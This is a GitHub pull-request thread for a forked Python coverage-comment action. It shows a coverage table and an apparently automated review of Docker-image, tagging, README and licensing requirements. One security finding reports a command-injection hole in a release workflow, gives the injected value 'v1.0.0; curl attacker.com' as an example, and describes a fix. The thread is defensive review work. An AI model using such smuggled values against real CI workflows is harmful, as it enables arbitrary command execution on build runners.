feat: initial release

[amanstep]

https://github.com/py-cov-action/python-coverage-comment-action

[github-actions]

Coverage report

Click to see where and how coverage changed

File	Statements	Missing	Coverage	Coverage (new stmts)	Lines missing
coverage_comment
__main__.py
activities.py
badge.py
comment_file.py
communication.py
coverage.py
diff_grouper.py
files.py
github.py
github_client.py
groups.py
json.py
log.py
log_utils.py
main.py					30-83
settings.py					138, 142
storage.py
subprocess.py
template.py
Project Total

This report was generated by python-coverage-comment-action

[github-actions]

PR Review

Action Type

Docker-based action — action.yml declares runs: using: docker with image: Dockerfile.build.

---

✅ Passed Checks

• License: LICENSE file is present with copyright covering both the original author (Joachim Jablon, kieferro) and StepSecurity.
• SECURITY.md: Present at the root of the repository.
• No FUNDING.yml: Not present.
• Required workflows: .github/workflows/ contains both auto_cherry_pick.yml and actions_release.yml.
• No renovate.json: Not present.
• No PULL_REQUEST.md: Not present.
• No ISSUE_TEMPLATE folder: Not present.
• No CHANGELOG.md: Not present.
• No .vscode folder: Not present.
• README banner: The StepSecurity Maintained Action banner is present at the top of README.md.
• Subscription check URL: coverage_comment/main.py calls the correct endpoint https://agent.api.stepsecurity.io/v1/github/{github_repository}/actions/maintained-actions-subscription.
• Subscription upstream variable: Value "py-cov-action/python-coverage-comment-action" correctly matches original-owner: "py-cov-action" + repo-name: "python-coverage-comment-action" from auto_cherry_pick.yml.
• action.yml author field: Not present — skipped per review guidelines.
• README usage examples: Most example code blocks use step-security/python-coverage-comment-action@v4 (major version only).

---

❌ Failed Checks

• Action does not use a published Docker image: action.yml sets image: Dockerfile.build, which builds the Docker image inline at action runtime. The action must reference a pre-published Docker image (e.g., image: ghcr.io/step-security/python-coverage-comment-action:v4).

• Docker image not tagged with a major version: .github/workflows/docker.yml only tags the published image with the full semver tag. A major-version tag (e.g., :v4) is also required.

• Dockerfile base image references original author org: Dockerfile uses FROM ghcr.io/py-cov-action/python-coverage-comment-action-base:v7. This base image belongs to the upstream author org (py-cov-action), not step-security. It should be rebuilt and published under the step-security org.

• README All-options example uses SHA placeholder instead of major version tag: README.md line 477 has uses: step-security/python-coverage-comment-action@sha1 # vx.y.z. All usage examples must use only the major version tag (e.g., @v4).

---

⚠️ Warnings

• Non-existent action versions in CI workflows: actions/checkout@v7, actions/upload-artifact@v7, actions/setup-python@v7, and actions/download-artifact@v8 are referenced but these version tags do not currently exist (latest stable is v4 for most). These should be corrected to real, existing versions.
• docker.yml has no post-push digest verification: After pushing the image there is no step to confirm or record the published digest.

---

🔒 Security Findings

• Command injection in .github/workflows/docker.yml line 29: The Validate tag format step interpolates ${{ github.event.inputs.release_tag }} directly into a shell run block with TAG=${{ github.event.inputs.release_tag }}. A crafted input such as v1.0.0; curl attacker.com would execute as shell commands. Fix: pass the value through env (e.g., env: RELEASE_TAG: ${{ github.event.inputs.release_tag }}) and reference "$RELEASE_TAG" in the script body.

---

Summary

The initial release correctly wires up the StepSecurity subscription check, licensing, and most required scaffolding, but fails three core Docker action requirements: the action builds its image inline rather than referencing a published image, the publish workflow omits a major-version tag, and the base Dockerfile still depends on the original author's image registry. A command-injection vulnerability in the Docker publish workflow must also be addressed.

[anurag-stepsecurity]

Minor comments, rest LGTM.